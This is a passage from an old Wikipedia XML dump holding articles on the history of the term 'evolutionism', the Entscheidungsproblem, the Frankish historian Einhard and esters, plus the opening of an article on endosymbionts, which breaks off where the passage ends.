== Evolutionism from 1836 to 1869 ==

[[image:TigerLarge_Gérome.jpeg|200px|thumb|right|Tiger and Cubs; Oil on canvas by Jean-Léon Gérôme, 1884]]

Charles Darwin wrote his entire 1859 First Edition of [[Origin of Species]] without using the word ''evolution'' in it. [http://www.gutenberg.net/etext98/otoos11.txt]  (Nor did he use the word ''evolve'', though he used ''evolved'' once, at the end of the last sentence in the book: &quot;There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one; and that, whilst this planet has gone cycling on according to the fixed law of gravity, from so simple a beginning endless forms most beautiful and most wonderful have been, and are being, evolved.&quot;)

The word ''evolution'' in popular use in 1859 applied to a speculative explanation of how the world and life could be created from [[Randomness|chance]], [[Probability|probabilities]], and the mere [[Chemical element|physical properties of atoms]] without ever an intervention of a [[Creation (theology)|Creator]].  For example in 1836, the month after Darwin returned from collecting his specimens and data on the [[HMS_Beagle|Beagle]], ''[[The Times]]'' summarized &quot;Buckland's Bridgewater Treatise: Geology And Mineralogy Considered With Reference To Natural Theology,&quot; and that 1836 review already contained the creationist argument that evolution was wrong because all variety of animals were found in the same geological strata: &quot;The investigation of the newer transitionary strata assures us by their remains of the cotemporaneous existence of the four divisions of the animal kingdom, vertebrata, mollusca, articulata, and radiala--a fact which at once and for ever annihilates the doctrine of spontaneous and progressive evolution of life, and its impious corollary, chance.&quot; (''[[The Times]]'', Nov. 15, 1836, p. 3, col. E)

Though Darwin continued to exclude the word ''evolution'' from the first five editions of ''Origin of Species,'' Darwin's contemporaries, notably [[Herbert Spencer]] argued publicly that the theory of evolution explained how the universe, the world, animals, plants, civilization, ethics, laws, and art would result from the probabilities inherent in atoms that found themselves in favorable circumstances.  For example, Spencer concerned himself with explaining how human culture and civilization would result from mere probabilities inherent in favorable circumstances even in the absence of a Creator's plan for how people should live.  A Creator was not required to explain civilization, order, ethics, law, harmony, or beauty.  Accordingly in 1851, eight years before Darwin's First Edition of [[Origin of Species]], Spencer wrote: &quot;[C]ivilization no longer appears to be a regular unfolding after a specific plan; but seems rather a development of man's latent capabilities under the action of favourable circumstances; which favourable circumstances, mark, were certain some time or other to occur. Those complex influences underlying the higher orders of natural phenomena, but more especially those underlying the organic world, work in subordination to the law of probabilities.&quot; [http://oll.libertyfund.org/Texts/LFBooks/Spencer0236/SocialStatics/0331_Bk.html]

Like Spencer, [[Thomas Huxley]] concerned himself with explaining how a world of sunlight, seas, rocks, gases, and trace minerals without a Creator could generate the full span of life, intelligence, and civilization.  And according to Huxley, he argued often with Spencer about what mechanism could cause the &quot;transmutation&quot; from one type of animal to another, but Spencer could not provide a convincing mechanism. And in Huxley's words, &quot;even my friend's rare dialectic skill and copiousness of illustration could not drive me from my agnostic position. I took my stand upon two grounds: firstly, that up to that time, the evidence in favor of transmutation was wholly insufficient; and, secondly, that no suggestion respecting the causes of the transmutation assumed, which had been made, was in any way adequate to explain the phenomena.&quot; [http://aleph0.clarku.edu/huxley/Book/Recep.html]

According to Huxley, he could not believe the creationists, because they had no convincing evidence.  &quot;And, by way of being perfectly fair, I had exactly the same answer to give to the evolutionists of 1851-8.&quot; [http://aleph0.clarku.edu/huxley/Book/Recep.html]

But according to Huxley, Darwin's 1859 ''Origin of Species'' provided the first explanation that was better than creation. &quot;That which we were looking for and could not find, was a hypothesis respecting the origin of known organic forms, which assumed the operation of no causes but such as could be proved to be actually at work. We wanted, not to pin our faith to that or any other speculation, but to get hold of clear and definite conceptions which could be brought face to face with facts and have their validity tested. The 'Origin' provided us with the working hypothesis we sought.&quot; [http://aleph0.clarku.edu/huxley/Book/Recep.html]

Not surprisingly, when Huxley tried to explain Darwin's working hypothesis to creationists, he encountered interesting resistance to examining reality.  One observer noted the following event where Huxley in 1860 attempted to get the audience to deal with the empirical data on &quot;Origins.&quot;

:I was happy enough to be present on the memorable occasion at Oxford when Mr Huxley bearded Bishop Wilberforce. There were so many of us that were eager to hear that we had to adjourn to the great library of the Museum. I can still hear the American accents of Dr Draper's opening address, when he asked `Are we a fortuitous concourse of atoms?' and his discourse I seem to remember somewhat dry. Then the Bishop rose, and in a light scoffing tone, florid and he assured us there was nothing in the idea of evolution; rock-pigeons were what rock-pigeons had always been. Then, turning to his antagonist with a smiling insolence, he begged to know, was it through his grandfather or his grandmother that he claimed his descent from a monkey? On this Mr Huxley slowly and deliberately arose. A slight tall figure stern and pale, very quiet and very grave, he stood before us, and spoke those tremendous words - words which no one seems sure of now, nor I think, could remember just after they were spoken, for their meaning took away our breath, though it left us in no doubt as to what it was. He was not ashamed to have a monkey for his ancestor; but he would be ashamed to be connected with a man who used great gifts to obscure the truth. No one doubted his meaning and the effect was tremendous. One lady fainted and had to carried out: I, for one, jumped out of my seat; and when in the evening we met at Dr Daubeney's, every one was eager to congratulate the hero of the day. I remember that some naïve person wished it could come over again; and Mr Huxley, with the look on his face of the victor who feels the cost of victory, put us aside saying, 'Once in a life-time is enough, if not too much.'

There are also other versions of this same event from other observers who claimed to have been there. [http://users.ox.ac.uk/~jrlucas/legend.html]

== Evolutionism from 1869 to 1875 ==

[[Image:Huxley - Mans Place in Nature.jpg|right|300px|thumb|The juxtaposition of slightly different anatomical forms, such as this illustration of ape and human skeletons from Huxley's ''Evidence as to Man's Place in Nature'', has been a common rhetorical device to illustration evolution used from the 19th century to the present.]]

In 1869, [[Thomas Huxley]] used the term ''evolutionism'' to refer to gradual [[geological]] processes when he wrote of the &quot;three schools of geological speculation which I have termed [[Catastrophism]], [[Uniformitarianism]], and Evolutionism.&quot; (''Scientific Opinion,'' Apr. 28, 1869, p. 487/1)
 
By 1872, in some scientific circles, the term ''evolutionism'' was used only to refer to life-form processes such as [[natural selection]].  Under this emerging usage, the term ''evolutionism''  specifically did not apply to either geological processes or to the origin of life as in [[abiogenesis]].  Thus, one reviewer wrote, &quot;Evolutionism does not propose to explain the unfolding of life out of dead matter.&quot; (E. Fry, ''Spectator,'' Sep. 21, 1872, p. 1201) 

Though Darwin had excluded the words ''evolution'' and ''evolutionist'' from the first five editions of ''Origin of Species,'' he imported both of the terms ''evolution'' and ''evolutionist'' into his Sixth Edition in 1872, as illustrated in the following examples.
* &quot;If numerous species, belonging to the same genera or families, have really started into life at once, the fact would be fatal to the theory of evolution through natural selection.&quot;
* &quot;It is admitted by most evolutionists that mammals are descended from a marsupial form; and if so, the mammary glands will have been at first developed within the marsupial sack.&quot; [http://www.gutenberg.net/etext99/otoos610.txt]

In 1872, ''[[The Times]]'' published a review of Darwin's book ''The Expression of the Emotions.''  Darwin attributed much of the human emotional capability to an inheritance from the common ancestors of today's animals:  &quot;A fierce sneer, in which the upper lip is retracted and the canine tooth exposed on one side alone, Mr. Darwin ventures to say, 'reveals man's animal descent.'&quot;  The reviewer finds fault with the mechanical determinism in Darwin's analysis that attributes too much to &quot;our early progenitors&quot; and not enough to the person's consciousness.  Then the reviewer says: &quot;His [Darwin's] thorough-going 'evolutionism' tends to eliminate from the developed human form any relations beyond those of the bare mechanism of animal existence.&quot;  (''The Times'', Dec. 13, 1872; pg. 4, col A)

During this period, ''evolutionism'' was used to label scientific theories that explained the presence of [[humans]] on this earth without assistance from [[divine intervention]].  For example, one opponent of Darwin's theory of evolution said, &quot;Evolutionism . . . excluded creation and theism.&quot; (Sir John W. Dawson, The Story of the Earth and Man (1873), p. 348)

== Evolutionism 1875 to the present ==

* Summary of the Second, Fifth Chapter of Robert Carneiro's ''Evolutionism in Cultural Anthropology: A Critical History'' 

=== Cultural anthropology ===
{{main|Cultural evolutionism}}
* [[Lewis Henry Morgan]]. Human civilizations develop linearly in a &quot;sequence of progress&quot; from [[Noble savage|savagery]], through [[Barbarian|barbarism]], to finally [[civilization]]; see [[Cultural evolution#History of the theory of cultural evolution|Linear progress]] (Lewis Henry Morgan, Ancient Society, 1877)

* [[Neo-evolutionism]]

=== Sociology ===
{{main2|Social Darwinism|Social evolutionism}}

* Sanderson, Stephen K. (1997). &quot;Evolutionism and its Critics.&quot; Journal of World-Systems Research 3: 94 - 114.  [http://jwsr.ucr.edu/archive/vol3/v3n1a3.php]
* Sanderson, Stephen K. (1990). ''Social evolutionism: A critical history.'' Oxford: Basil Blackwell.
{{sect-stub}}

=== History of ideas ===

* [[Arthur Lovejoy]]

=== Marxist thought ===

There is no direct connection between Marxist thought and Natural Selection theory; they consider entirely different subject matters, the former is concerned with a supposedly superior form of social structure, the latter with the evolution of animal and animal genetics over time.

However, in the [[Soviet Union]], the scientific theory of evolution was neglected in favor of [[Lysenkoism]], a variant of [[Lamarckism]], which says that acquired traits are inherited to the next generation.

''Main article:'' [[Dialectical materialism]]

=== Secular Judaism ===

* [[Judaism#Jewish_identity_in_modern_Israel|Judaism]], the secularization of [[Messianism]] into two [[optimism|optimistic]] views of progress: 1) economics of [[socialism]] or 2) politics of [[Zionism]]; see [[Judaism#Jewish_identity_in_modern_Israel|Judaism]]

=== Modern controversies ===

Today, the scientific community rarely uses either of the words ''evolutionist'' or ''evolutionism.''  However in America, the [[National Center for Science Education]] does use the related term &quot;anti-evolutionism&quot; to label the organized political and religious movement that opposes the teaching of [[evolution]] in public schools.  For example, the National Center for Science Education website is dedicated to &quot;defending the teaching of evolution in public schools,&quot; and that website offers the &quot;resource&quot; of a page about &quot;Dealing with Anti-Evolutionism.&quot; [http://www.ncseweb.org/resources/articles/6172_dealing_with_antievolutionism_1_9_2001.asp]

In contrast, the words ''evolutionist'' and ''evolutionism'' are widely used by [[creationists]] and others in the United States who are opposed to the [[theory of evolution]]; they use those two words to imply that the scientific community's attachment to the theory of evolution is a matter of [[religious faith]] and is just another [[-ism]], not a matter of scientific proof.

Furthermore, [[Young Earth Creationism|Young Earth creationists]] sometimes use the term ''evolutionism'' to attack the [[Scientific method|empirical methods]] of science generally, such as attacking [[geology]] and [[astronomy]] which have concluded that the [[Age of the Earth|Earth]] and the [[Age of the Universe|Universe]] are billions of years older than the young-earth creationists believe.

Opponents of evolutionary theory may also use the words ''evolutionist'' and ''evolutionism'' to characterize the philosophical systems that they attack, such as [[atheism]], [[agnosticism]], [[Secular Humanism]], [[rationalism]], and [[materialism]].  Also the opponents of evolution argue that the ''evolutionist'' faith in ''evolutionism'' entices people into extremist political ideologies such as [[fascism]], [[communism]], and [[Marxism]].  Additionally, the opponents argue that the evolutionist's belief in evolution leads to disregard for the value of life, which disregard creationists perceive to be manifested in [[eugenics]], [[assisted suicide]], and [[abortion]].  The [[pun]] &quot;[[evil]]-utionism&quot; provides a convenient insult to make fun of those who accept evolution as the origin of human life.

In [[1994]], John Peloza, a [[High school]] [[biology]] [[teacher]] in [[California|California, U.S.A.]], sued his [[school board]] in [[federal court]], claiming that he was being forced to teach the &quot;[[religion]]&quot; of &quot;evolutionism&quot;.  The federal court dismissed the case, holding that Peloza's suit was &quot;frivolous&quot; and requiring Peloza to pay the school board's attorneys' fees and court costs.  When Peloza appealed, the [[United States Court of Appeals for the Ninth Circuit|Ninth Circuit Court of Appeals]] overruled the claim of frivolity and the assignment of fees, but otherwise upheld the lower court's dismissal. Notably, the Court of Appeals held that evolution (as it was taught) said nothing about &quot;how the universe was created&quot; or &quot;whether or not there is a divine Creator&quot;; and moreover that &quot;evolution&quot; and &quot;evolutionism&quot; are not religions, so the state can teach them in public schools as long as it does not teach a &quot;belief that the universe came into existence without a Creator.&quot; [http://www.talkorigins.org/faqs/peloza.html]

== See also ==

* [[Darwinism]]
* [[Evolution#Evolutionary_biology|List of evolutionary biologists]]

== References ==

* Carneiro, Robert, ''Evolutionism in Cultural Anthropology: A Critical History''  ISBN 0813337666
* Review of ''[[William Buckland|Buckland's]] Bridgewater Treatise'', ''The Times'' Tuesday, Nov 15, 1836; pg. 3; Issue 16261; col E. (&quot;annihilates the doctrine of spontaneous and progressive evolution of life, and its impious corollary, chance&quot;)
* Review of [[Charles Darwin]]'s ''The Expression of the Emotions in Man and Animals'' ''The Times'' Friday, Dec. 13, 1872; pg. 4; Issue 27559; col A. (&quot;His [Darwin's] thorough-going 'evolutionism' tends to eliminate . . . .&quot;)
* Ruse, Michael. 2003. &quot;Is Evolution a Secular Religion?&quot; Science 299:1523-1524 [http://www.sciencemag.org/cgi/content/full/299/5612/1523] (concluding that [[evolutionary biology]] is NOT a [[religion]] in any sense but noting that several evolutionary biologists, such as [[Edward O. Wilson]], in their roles as citizens concerned about getting the public to deal with [[reality]], have made statements like &quot;[[evolution]] is a [[Mythology|myth]] that is now ready to take over [[Christianity]]&quot;).

== External links ==
* [http://www.talkorigins.org/faqs/peloza.html Findings of the ''Peloza v Capistrano Unified School Disctrict'' case on the United States Court of Appeals, Ninth Circuit]
* [http://www.ncseweb.org/ National Center for Science Education] - The [[National Center for Science Education]]
* [http://www.talkorigins.org/ Talk.Origins Archive] - the [[Talk.origins]] archive
* [[Answers in Genesis]] - a [[Young Earth creationism|Young Earth creationist]] organization
** [http://www.answersingenesis.org/docs/3547.asp Evolution As Religion] - by David Ungred
* [http://www.discovery.org/csc/ Center for Science and Culture] - a [[Discovery Institute]] program for promoting [[Intelligent design]]
* [http://www.allaboutphilosophy.org/evolutionism.htm Evolutionism] - seven different types of evolution are defined and disputed
* [http://www.gate.net/~rwms/crebuttals.html] -
Pro-Evolution site.
* [http://www.evolutionpages.com/Writing.htm] -
Another pro-evolution site.
[[category:anthropology]]
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  <page>
    <title>Entscheidungsproblem</title>
    <id>9672</id>
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      <text xml:space="preserve">The '''''Entscheidungsproblem''''' ([[German language|German]] for '[[decision problem]]') is the challenge in [[symbolic logic]] to find a general [[algorithm]] which decides for given [[first-order predicate calculus|first-order]] statements whether they are universally valid or not.  In [[1936]], working independently, [[Alonzo Church]] and [[Alan Turing]] both showed that this is impossible.  As a consequence, it is in particular impossible to decide algorithmically  whether statements in [[arithmetic]] are true or false.

The question goes back to [[Gottfried Leibniz]], who in the [[seventeenth century]], after having constructed a successful mechanical [[calculating machine]], dreamt of building a machine that could manipulate symbols in order to determine the truth values of mathematical statements.  He realized that the first step would have to be a clean [[formal language]], and much of his subsequent work was directed towards that goal.  In [[1928]], [[David Hilbert]] and [[Wilhelm Ackermann]] posed the question in the form outlined above.

A first-order statement is called &quot;universally valid&quot; or &quot;logically valid&quot; if it follows from the axioms of the [[first-order predicate calculus]].  [[Gödel's completeness theorem]] states that a statement is universally valid in this sense if and only if it is true in every interpretation of the formula in a model.

In continuation of his &quot;program&quot; with which he challenged the mathematics community in 1900, at a 1928 international conference David Hilbert asked three questions,  the third of which became known as &quot;Hilbert's Entscheidungsproblem&quot; [Hodges p. 91]. As late as 1930 he believed that there would be no such thing as an unsolvable problem (Hodges p. 92, quoting from Hilbert).  

Before the question could be answered, the notion of &quot;algorithm&quot; had to be formally defined.  This was done by [[Alonzo Church]] in 1936 with the concept of &quot;effective calculability&quot; based on his [[lambda calculus]] and by Alan Turing in the same year with his concept of [[Turing machine]]s.  The two approaches are equivalent, an instance of the [[Church-Turing thesis]]. 

The negative answer to the ''Entscheidungsproblem'' was then given by Alonzo Church in 1936 and independently shortly thereafter by Alan Turing, also in 1936.  Church proved that there is no algorithm (defined via [[recursive function]]s) which decides for two given lambda calculus expressions whether they are equivalent or not.  He relied heavily on earlier work by [[Stephen Kleene]]. Turing reduced the [[halting problem]] for Turing machines to the Entscheidungsproblem, and his paper is generally considered to be much more influential than Church's.  The work of both authors was heavily influenced by [[Kurt Gödel]]'s earlier work on his [[Gödel's incompleteness theorem|incompleteness theorem]], especially by the method of assigning numbers (a [[Gödel number|Gödel numbering]]) to logical formulas in order to reduce logic to arithmetic.

Turing's argument follows.  Suppose we had a general decision algorithm for [[first order logic]].  The question whether a given Turing machine halts or not can be formulated as a first-order statement, which would then be susceptible to the decision algorithm.  But Turing had proved earlier that no general algorithm can decide whether a given Turing machine halts.

The Entscheidungsproblem is related to [[Hilbert's tenth problem]], which asks for an [[algorithm]] to decide whether [[Diophantine equation]]s have a solution.  The non-existence of such an algorithm (proven by [[Yuri Matiyasevich]] in [[1970]]) implies a negative answer to the Entscheidungsproblem. (see '''[[Matiyasevich's theorem]]''')

It is important to realize that if we restrict ourselves to a specific first-order theory with specified object constants, function constants, predicate constants and subject axioms, the truth of statements in that theory may very well be algorithmically decidable. Examples of this include [[Presburger arithmetic]], [[real closed field]]s and [[Static typing|static type systems]] of [[Programming language|programming languages]].

However, the general first-order theory of the [[natural numbers]] expressed in [[Peano axioms|Peano's axioms]] cannot be decided with such an algorithm. This also follows from Turing's argument given above.

==References==
* Alonzo Church, &quot;An unsolvable problem of [[elementary number theory]]&quot;, American Journal of Mathematics, 58 (1936), pp 345 - 363
* Alonzo Church, &quot;A note on the Entscheidungsproblem&quot;, Journal of Symbolic Logic, 1 (1936), pp 40 - 41. 
* Alan Turing, &quot;On [[computable number]]s, with an application to the Entscheidungsproblem&quot;, Proceedings of the [[London Mathematical Society]], Series 2, 42 (1936), pp 230 - 265.  [http://www.abelard.org/turpap2/tp2-ie.asp Online version].  Errata appeared in Series 2, 43 (1937), pp 544 - 546.
* [[Martin Davis]], &quot;The Undecidable, Basic Papers on Undecidable Propositions, Unsolvable Problems And Computable Functions&quot;, Raven Press, New York, 1965. Turing's paper is #3 in this volume. Papers include those by Godel, Church, Rosser, Kleene, and Post.
* [[Andrew Hodges]], Alan Turing: The Enigma, Simon and Schuster, New York, 1983. Allen M. Turing's biography. Cf Chapter &quot;The Spirit of Truth&quot; for a history leading to, and a discussion of, his proof.
* Stephen Toulmin, &quot;Fall of a Genius&quot;, a book review of &quot;Alan Turing: The Enigma by Andrew Hodges&quot;, in The New York Review of Books, January 19, 1984, p. 3ff.
* [[Alfred North Whitehead]] and [[Bertrand Russel]], Principia Mathematica to *56, Cambridge at the University Press, 1962. Re: the problem of paradoxes, the authors discuss the problem of a set not be an object in any of its &quot;determining functions&quot;, in particular &quot;Introduction, Chap. 1 p. 24 &quot;...difficulties which arise in formal logic&quot;, and Chap. 2.I. &quot;The Vicious-Circle Principle&quot; p.37ff, and Chap. 2.VIII. &quot;The Contradictions&quot; p.60 ff.

== See also ==
{{wiktionary}}
* [[Halting Problem]]

[[Category:German loanwords]]
[[Category:Theory of computation]]

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    <title>Einhard</title>
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      <text xml:space="preserve">[[Image:Einhard.jpg|thumb|250px|right|Einhard as scribe]]
'''Einhard''' (also '''Eginhard''' or '''Einhart''') (born about 775 in the valley of the [[Main River|River Main]], died [[March 14]], [[840]], at [[Seligenstadt]], [[Germany]]) was a [[Franks|Frankish]] historian and a dedicated servant of [[Charlemagne]]. He is the writer of the [[Royal Frankish Annals]].

He wrote a number of works, the most famous of which was produced at the request of Charlemagne's son and successor [[Louis the Pious]]. Einhard wrote a [[biography]] of Charlemagne, the ''Vita Karoli Magni'' or ''Life of Charlemagne'' (c. 817&amp;ndash;830), which provides much direct information about Charlemagne's life and character. In composing this he made full use of the Frankish Royal annals. Einhard's literary model was the classical work of the Roman historian [[Suetonius|Suetonius]], the ''Lives of the Caesars''. His work is biased in the sense that it was written as a praise of Charlemagne&amp;mdash;he  glossed over certain issues which would be of [[embarrassment]] to Charlemagne (such as the morality of his daughters), and we are not necessarily to believe that Charlemagne was really a [[giantism|giant]].  However, in comparison to other contemporary sources it appears to be a fairly accurate description of events.

Einhard was from the eastern part of the Frankish kingdom, the portion that is still [[German language|German speaking]]. He was educated at [[Fulda]] which was one of the most impressive centres of learning in the Frankish lands. He was accepted into the court of Charlemagne around 791 or 792. Charlemagne actively sought to amass [[scholar|scholarly]] men around him and established a royal school led by the [[Northumbria|Northumbrian]] scholar [[Alcuin]]. He evidently was a talented builder and [[construction]] manager, because Charlemagne put him in charge of the completion of several [[palace]] complexes including [[Aachen]] and [[Ingelheim]]. Despite the fact that Einhard was on intimate terms with Charlemagne he never achieved office in his [[reign]]. In 814, on Charlemagne's death his son [[Louis the Pious]] made Einhard his private [[secretary]]. Einhard retired from [[royal court|court]] during the time of the [[controversy|dispute]]s between Louis and his sons, in around 828.

== See also ==
* [[Royal Frankish Annals]]

== External links ==

*[http://www.thelatinlibrary.com/ein.html ''Vita Karoli Magni''] -- Einhard's ''Life of Charlemagne,'' Latin text at [[The Latin Library]]
*[http://www.fordham.edu/halsall/basis/einhard.html ''Life of Charlemagne''] -- Einhard's ''Life of Charlemagne,'' 19th century English translation.
*[http://www.newadvent.org/cathen/05366b.htm Einhard] at the [[Catholic Encyclopedia]]

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  <page>
    <title>Ester</title>
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      <text xml:space="preserve">{{Otheruses}}
[[Image:GeneralEster.png|right|frame|General formula of an ester of a carboxylic acid.]]
In [[chemistry]], '''esters''' are [[organic compound]]s in which an [[organic radical|organic group]] (symbolized by '''R'''' in this article) replaces a [[hydrogen]] [[atom]] (or more than one) in an [[oxygen]] [[acid]].  An oxygen acid is an acid whose [[molecule]] has an '''-{{Hydroxide}}''' [[functional group|group]] from which the hydrogen (H) can [[Dissociation (chemistry)|dissociate]] as an H&lt;sup&gt;+&lt;/sup&gt; [[ion]]. 

The most common esters are the '''carboxylate esters''', where the acid in question is a [[carboxylic acid]]. For example, if the acid is [[acetic acid]], the ester is called an [[acetate]]. Esters may also be formed with [[inorganic]] acids; for example, [[dimethyl sulfate]] is an ester, and sometimes called &quot;[[sulfuric acid]], di[[methyl]] ester&quot;.

Esters are named similarly to [[salt]]s; although they don't really have [[cation]]s and [[anion]]s, the terminology follows the same pattern: a more electropositive part followed by a more electronegative part.

An ester can be thought of as a product of a [[condensation reaction]] of an acid (usually an [[organic acid]]) and an [[alcohol]] (or [[phenols|phenol]] compound), although there are other ways to form esters.  Condensation is a type of  [[chemical reaction]] in which two [[molecule]]s with '''-OH''' groups are joined with eliminating a [[water (molecule)|water molecule]] from their -OH groups.  A condensation reaction to form an ester is called [[esterification]]. Esterification can be catalysed by the presence of H&lt;sup&gt;+&lt;/sup&gt; ions. Sulfuric acid is often used as a [[catalyst]] for this reaction. The name ester is derived from the German '''Es'''sig-Ä'''ther''', an old name for acetic acid ethyl ester ([[ethyl acetate]]).

==Naming of esters==
[[Image:Ethylethanoate.png|right|frame|Ethyl acetate structure]]
Esters can be produced by an [[equilibrium reaction]] between an [[alcohol]] and a [[carboxylic acid]]. The ester is named according to the ''[[alkyl]]'' group (the part from the [[alcohol]]) and then the ''alkanoate'' (the part from the [[carboxylic acid]]) which make it up.{{Ref|IUPAC1}} For example, the reaction between [[methanol]] and [[butyric acid]] yields the ester [[methyl butyrate]] C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;7&lt;/sub&gt;-COO-CH&lt;sub&gt;3&lt;/sub&gt; (as well as water). The simplest ester is H-COO-CH&lt;sub&gt;3&lt;/sub&gt; ([[methyl formate]], also called methyl methanoate).

For esters derived from the simplest carboxylic acids, the traditional names are recommended by IUPAC,{{Ref|IUPAC2}} ''viz'', formate, acetate, propionate, butyrate, though out of these only acetate may carry further substituents.  For esters from higher acids, the alkane name with an ''-oate'' ending is generally preferred, e.g., hexanoate.  Common esters of aromatic acids include [[benzoate]]s such as [[methyl benzoate]], and [[phthalates]], with substitution allowed in the name.

==Physical properties==
Esters  participate in [[hydrogen bond]]s as hydrogen-bond acceptors, but cannot act as hydrogen-bond donors, unlike their parent alcohols.  This ability to participate in hydrogen bonding makes them more [[water]]-[[soluble]] than their parent [[hydrocarbon]]s. However, the limitations on their hydrogen bonding also make them more hydrophobic than either their parent alcohols or parent acids.  Their lack of hydrogen-bond-donating ability means that ester [[molecule]]s cannot hydrogen-bond to each other, which makes esters generally more volatile than an [[carboxylic acid]] of similar molecular weight. This property makes them very useful in organic analytical chemistry: unknown organic acids with low volatility can often be esterified into a volatile ester, which can then be analysed using [[gas chromatography]], [[gas liquid chromatography]], or [[mass spectrometry]].
Many esters have distinctive odors, which has led to their widespread use as artificial flavorings and fragrances.  For example:
:[[methyl butyrate]] smells of [[pineapple]] or [[apple]]
:[[methyl salicylate]] ([[oil of wintergreen]]) smells of the ointments called Germolene&amp;trade; and Ralgex&amp;trade; in the UK
:[[methyl benzoate]] smells of fruity-[[ylang ylang]]
:[[ethyl formate]] smells of [[rum]]
:[[ethyl butyrate]] smells of [[pineapple]] or [[strawberry]]
:[[ethyl salicylate]] smells of [[oil of wintergreen]] 
:[[ethyl heptanoate]] smells of [[grape]]
:[[propyl isobutyrate]] (rum) 
:isobutyl formate (raspberries)  
:butyl butyrate (pineapple)
:[[pentyl acetate]] smells of [[banana]]
:[[pentyl pentanoate]] smells of [[apple]]
:[[pentyl butyrate]] smells of [[pear]] or [[apricot]]
:[[isopentyl acetate]] smells of [[pear]] or [[banana]] (it is used as the flavouring in the manufacturing of old fashioned [[Pear Drops]])
:[[octyl acetate]] smells of [[orange (fruit)|fruity-orange]]
:[[benzyl acetate]] smells slightly of [[jasmine]]

== Ester synthesis ==
Esters can be prepared in the laboratory in several ways:
* by [[esterfication]] of [[carboxylic acid]] derivatives and [[alcohol]]s
* by [[transesterification]]s between other esters
* by [[Dieckmann condensation]] or [[Claisen condensation]] of esters carrying acidic α-protons
* by [[Favorskii rearrangement]] of α-haloketones in presence of base
* by [[nucleophilic displacement]] of [[alkyl halide]]s with carboxylic acid salts
* by [[Baeyer-Villiger oxidation]] of ketones with peroxides
* by [[Pinner reaction]] of [[nitrile]]s with an alcohol

== Ester reactions==
[[Image:Ester_hydrolysis.PNG|right|400px|frame|Ester saponification (basic hydrolysis)]]
Esters may undergo [[hydrolysis]] - the breakdown of an ester by water. This process can be catalyzed both by acids and bases. The base-catalyzed process is called [[saponification]]. The hydrolysis yields an alcohol and a [[carboxylic acid]] or its [[carboxylate]] [[salt]].

Esters also react if heated with primary or secondary [[amine]]s, producing [[amide]]s.

Phenyl esters react to hydroxyarylketones in the [[Fries rearrangement]]. Specific esters undergo the [[Chan rearrangement]] and the [[Lossen rearrangement]].

== External links ==
* [http://www.chm.bris.ac.uk/motm/ethylacetate/ethylh.htm Molecule of the month: Ethyl acetate and other esters]
* [http://www.projectshum.org/Ester/ Making an Ester] A simple guide to naming and making Esters, as well as the Chemistry behind it.

== References ==
# {{Note|IUPAC1}} [http://www.acdlabs.com/iupac/nomenclature/93/r93_511.htm IUPAC naming of esters]
# {{Note|IUPAC2}} [http://www.acdlabs.com/iupac/nomenclature/93/r93_705.htm IUPAC parent groups using traditional names]

[[Category:Functional groups]]
[[Category:Esters]]
[[Category:German loanwords]]

[[da:Ester]]
[[de:Ester]]
[[et:Estrid]]
[[es:Éster]]
[[eo:Estero]]
[[fr:Ester]]
[[ko:에스터]]
[[it:Esteri]]
[[he:אסטר]]
[[lv:Esteri]]
[[nl:Ester (chemie)]]
[[ja:エステル]]
[[no:Ester]]
[[nn:Ester]]
[[pl:Ester]]
[[pt:Éster]]
[[su:Éster]]
[[fi:Esteri]]
[[sv:Ester (kemikalie)]]
[[vi:Este]]
[[uk:Естери]]</text>
    </revision>
  </page>
  <page>
    <title>Endosymbiont</title>
    <id>9677</id>
    <revision>
      <id>42145471</id>
      <timestamp>2006-03-04T02:59:37Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>Amoeba has mitochondria</comment>
      <text xml:space="preserve">An '''endosymbiont''' is any [[organism]] that lives within the body or [[cell (biology)|cell]]s of another organism, i.e. forming an '''endosymbiosis''' ([[Greek language|Greek]]: ''endo'' = inner and ''biosis'' = living).  For instance, some nitrogen fixing [[bacterium|bacteria]] (known as [[rhizobia]]) live in [[root nodules]] on [[legume]] roots, reef-building [[corals]] contain single-celled [[algae]], and several [[insect]] species contain bacterial endosymbionts.  Many other examples of endosymbiosis exist.

Many instances of endosymbiosis are obligate, where neither the endosymbiont nor the host can survive without the other, such as gutless marine worms which get nutrition from their endosymbiotic bacteria. However, not all endosymbioses are obligate.  Also, some endosymbioses can be harmful to either of the organisms involved.  See [[symbiosis]] for further discussion of this issue.

It is generally agreed that certain [[organelle]]s of the [[Eukaryote|eukaryotic]] cell, especially [[mitochondria]] and [[chloroplast]]s, originated as bacterial endosymbionts.  This theory is known as the [[endosymbiotic theory]], confirmed and popularized by [[Lynn Margulis]].

== The endosymbiont theory and mitochondria and chloroplasts ==
{{Main|Endosymbiotic theory}}

The endosymbiont theory explains the origins of [[organelle]]s such as mitochondria and chloroplasts in [[eukaryote|eukaryotic]] cells. The theory proposes that chloroplasts and mitochondria evolved from certain types of bacteria that prokaryotic cells engulfed through endophagocytosis. These cells and the bacteria trapped inside them entered an symbiotic relationship, a close association between different types of organisms over an extended time. However, more specifically, the relationship was endosymbiotic, meaning that one of the organisms (the bacteria) lived within the other (the prokaryotic cells).
 
According to the endosymbiont theory, an anaerobic cell probably ingested an aerobic bacterium but failed to digest it. The aerobic bacterium flourished within the cell because the cell’s cytoplasm was abundant in half-digested food molecules. The bacterium digested these molecules with oxygen and gained great amounts of energy. Because the bacterium had so much energy, it probably leaked some of it as ATP into the cell’s cytoplasm. This benefited the anaerobic cell because it enabled it to digest food aerobically. Eventually, the aerobic bacterium could no longer live independently from the cell, and it therefore became a mitochondrion. The origin of the chloroplast is very similar to that of the mitochondrion. A cell must have captured a photosynthetic cyanobacterium and failed to digest it. The cyanobacterium thrived in the cell and eventually evolved into the first chloroplast. Other eukaryotic organelles may have also evolved through endosymbiosis. Scientists believe that cilia, flagella, centrioles, and microtubules may have come from a symbiosis between a spirilla-like bacterium and an early eukaryotic cell. 

There are several examples of evidence that support the endosymbiont theory. Mitochondria, chloroplasts, and centrioles contain their own small supply of DNA, which may be remnants of the DNA the organelles had when they were independent aerobic bacteria. In addition, there are organisms alive today, called living intermediates, that are in a similar endosymbiotic condition to the prokaryotic cells and the aerobic bacteria. Living intermediates show that the evolution proposed by the endosymbiont theory is possible. For example, the giant amoeba ''[[Pelomyxa]]'' lacks mitochondria but has aerobic bacteria that carry out a similar role. A variety of corals, clams, snails, and one species of ''[[Paramecium]]'' permanently host algae in their cells. 

